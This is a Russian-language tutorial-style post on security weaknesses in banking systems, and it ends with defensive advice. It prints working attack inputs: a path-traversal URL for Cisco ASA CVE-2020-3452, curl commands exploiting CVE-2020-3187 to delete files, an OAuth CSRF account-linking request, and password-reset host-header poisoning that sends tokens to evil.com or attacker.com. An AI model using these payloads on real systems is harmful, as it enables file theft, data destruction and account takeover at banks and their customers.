Привет друзья!
Сегодня речь пойдет о насущных проблемах безопасности банковских систем, мы разберем часто встречающиеся уязвимости и сделаем выводы на основе актуальных проблем.
Важно
Опять же, автор не гарантирует вам показать как полностью защитить вашу систему от кибер угроз, лишь хочет показать на какие проблемы следует обратить ваше внимание
1. SSL VPN Сервисы
Очень часто банки используют Cisco SSL VPN сервисы для организации удаленного доступа в свою внутреннюю сеть
Это хорошо, но.. В Cisco существуют две потенциальные уязвимости CVE-2020-3452 и CVE-2020-3187
1.1. CVE-2020-3452
CVE-2020-3452 - это уязвимость обхода пути только для чтения в программном обеспечении Cisco ASA и FTD. Удаленный злоумышленник, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив специально созданный HTTP-запрос в уязвимую систему.
Воспроизведение данной уязвимости очень проста для злоумышленника
https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../
Ответ
Вот так мы прочитываем файлы, в которых можно найти конфиденциальную информацию.
1.2. CVE-2020-3187
Эксплойт может позволить злоумышленнику просмотреть или удалить произвольные файлы в целевой системе
Для воспроизведения уязвимости нужно узнать дает ли /session_password.html ответ 200
curl -k -s -i https://
Cisco-VPN/+CSCOE+/session_password.html
Дает результат 200? - Отлично
Попробуем удалить файл с логотипом "/+CSCOU+/csco_logo.gif"
curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://
Cisco-VPN/+CSCOE+/session_password.html
С VPN сервисами закончили.
2. Аутентификация & OAuth
Разработчики онлайн-банкинга часто допускают ошибки при реализации единого входа (SSO) на основе протокола OAuth 2.0, что может привести к перехвату учетных данных, отправленных по незащищенному протоколу, и захвату сеанса злоумышленником.
Пример
GET /auth/sso/cb?code=[sso token account] HTTP/1.1
Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Обычно в таких запросах обязательно должны стоять CSRF ключи для проверки подлинности. Но если их нет - злоумышленник может развить свою атаку.
Регистрация аккаунта SSO
При попытке привязать свой аккаунт SSO к банку, злоумышленник перехватывает запрос тот что в верху
Отправляет сгенерированную ссылку жертве.
Аккаунт SSO хакера привязан к банку жертвы.
Или например иногда некоторые механизмы позволяют перехватывать redirect_uri - тоесть обычно в нем вписывается url куда должны поступить токены для авторизации. Иногда такая защита не работает должным образом и злоумышленник подставляет свой сайт/сервер куда впоследствии перейдут токены пользователя.
Захват учетной записи через сброс пароля
Эксплуатация
POST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com
или
Host: bank.com
X-Forwarded-Host: attacker.com
Ну или
Host: target.com
Host: attacker.com
При восстановлении пороля злоумышленник должен указать email адрес жертвы и в заголовках попытаться внедрить свой хост.
При успешной реализации атаки на почту пользователю придет следущее
https://evil.com/reset-password.php?token=12345678-1234-1234-1234-12345678901
Как мы видим сервер подставил вместо хоста банка - хост хакера. И если пользователь перейдет по ссылке, то злоумышленник получить токены для авторизации.
Иногда можно не изменять хост в заголовках и поступить другим образом.
POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com
В запросе видно что злоумышленник просто продублировал параметр email и указал свою почту на которую прийдет токен авторизации.
Вывод
Постоянно обновляйте свои службы будь то SSL VPN, или GlobalProtect.
Следите за безопасностью аутентификации
Также как совет используйте брандмауэр веб-приложений ( WAF ), чтобы предотвратить использование уязвимостей, вызванных изменениями кода.
Удачи! Всего доброго.